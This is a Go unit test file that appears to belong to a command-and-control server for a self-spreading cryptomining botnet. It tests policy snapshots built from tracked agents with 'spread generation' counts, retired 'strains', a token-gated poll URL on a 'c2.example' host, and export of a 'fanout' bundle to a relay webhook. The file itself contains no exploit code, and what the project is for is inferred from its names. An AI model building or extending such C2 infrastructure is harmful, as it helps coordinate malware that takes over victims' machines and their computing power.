package api import ( "bytes" "encoding/json" "net/http" "net/http/httptest" "path/filepath" "testing" "time" dbpkg "crypto-miner-server/internal/db" "crypto-miner-server/internal/models" "github.com/go-chi/chi/v5" ) func TestBuildPolicySnapshotGenesisAndHospice(t *testing.T) { d, err := dbpkg.New(t.TempDir()) if err != nil { t.Fatal(err) } defer d.Close() now := time.Now().UTC() if err := d.UpsertAgent(&models.Agent{ ID: "a1", Name: "A", IP: "10.0.1.1", Status: "online", LastSeen: now, SpreadGeneration: 3, }); err != nil { t.Fatal(err) } if err := d.UpsertAgent(&models.Agent{ ID: "a2", Name: "B", IP: "10.0.2.1", Status: "online", LastSeen: now, SpreadGeneration: 7, }); err != nil { t.Fatal(err) } if err := d.RetireStrain("dead-strain", "test", "unit", `{}`); err != nil { t.Fatal(err) } snap, err := BuildPolicySnapshot(d, nil, PolicyFanoutConfig{ Token: "tok123", PublicBaseURL: func() string { return "https://c2.example" }, }) if err != nil { t.Fatal(err) } if snap.GenesisVersion != 7 { t.Fatalf("genesis_version=%d want 7", snap.GenesisVersion) } if len(snap.HospiceList) == 0 { t.Fatal("expected hospice list") } if snap.PolicyPollURL != "https://c2.example/api/v1/public/policy-snapshot/tok123" { t.Fatalf("poll url=%q", snap.PolicyPollURL) } } func TestPublicPolicySnapshotEndpoint(t *testing.T) { d, err := dbpkg.New(t.TempDir()) if err != nil { t.Fatal(err) } defer d.Close() h := NewPublicHandler(d, t.TempDir(), func() PublicBuildsConfig { return PublicBuildsConfig{} }) h.BindPolicySnapshot( func() (PolicySnapshot, error) { return PolicySnapshot{GenesisVersion: 2, HospiceList: []string{"s1"}}, nil }, func() string { return "secret-token" }, ) r := chi.NewRouter() r.Get("/public/policy-snapshot/{token}", h.PolicySnapshot) req := httptest.NewRequest(http.MethodGet, "/public/policy-snapshot/wrong", nil) rec := httptest.NewRecorder() r.ServeHTTP(rec, req) if rec.Code != http.StatusNotFound { t.Fatalf("wrong token status=%d", rec.Code) } req = httptest.NewRequest(http.MethodGet, "/public/policy-snapshot/secret-token", nil) rec = httptest.NewRecorder() r.ServeHTTP(rec, req) if rec.Code != http.StatusOK { t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String()) } var body PolicySnapshot if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil { t.Fatal(err) } if body.GenesisVersion != 2 || len(body.HospiceList) != 1 { t.Fatalf("body=%+v", body) } } func TestBuildFanoutBundleJSON(t *testing.T) { snap := PolicySnapshot{GenesisVersion: 1, PolicyPollURL: "https://x/poll"} raw, err := buildFanoutBundleJSON(PolicyFanoutConfig{Token: "abc"}, snap) if err != nil { t.Fatal(err) } var doc map[string]interface{} if err := json.Unmarshal(raw, &doc); err != nil { t.Fatal(err) } if doc["token"] != "abc" { t.Fatalf("token=%v", doc["token"]) } } func TestExportPolicyFanoutZIP(t *testing.T) { d, err := dbpkg.New(t.TempDir()) if err != nil { t.Fatal(err) } defer d.Close() sh := NewSpreadHandler(d, t.TempDir(), filepath.Join("..", "..", ".."), NewWSHub(d)) sh.BindPolicyFanout(nil, func() PolicyFanoutConfig { return PolicyFanoutConfig{Token: "t", PublicBaseURL: func() string { return "http://127.0.0.1:8989" }} }) req := httptest.NewRequest(http.MethodPost, "/", bytes.NewReader([]byte(`{"webhook_url":"https://relay.example/hook"}`))) rec := httptest.NewRecorder() sh.ExportPolicyFanout(rec, req) if rec.Code != http.StatusOK { t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String()) } if ct := rec.Header().Get("Content-Type"); ct != "application/zip" { t.Fatalf("content-type=%q", ct) } }